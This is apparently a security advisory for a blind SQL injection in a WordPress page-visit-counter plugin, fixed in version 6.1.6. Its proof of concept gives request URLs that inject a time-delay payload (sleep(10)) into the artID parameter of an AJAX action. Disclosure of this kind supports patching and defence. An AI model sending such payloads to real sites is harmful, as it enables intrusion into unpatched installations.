WordPress Plugin Vulnerabilities
Advanced Page Visit Counter < 6.1.6 - Subscriber+ Blind SQL injection
Description
The plugin does not escape the artID parameter before using it in a SQL statement in the apvc_reset_count_art AJAX action, available to any authenticated user, leading to a SQL injection
Proof of Concept
v <= 5.0.8 - https://example.com/wp-admin/admin-ajax.php?action=apvc_reset_count_art&artID=sleep(10) v < 6.1.6 - https://example.com/wp-admin/admin-ajax.php?action=apvc_reset_count_art&artID=sleep(10)&security_nonce=xxxx
Affects Plugins
Fixed in version 6.1.6
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-03-29 (about 10 months ago)
Added
2022-03-29 (about 10 months ago)
Last Updated
2022-06-15 (about 7 months ago)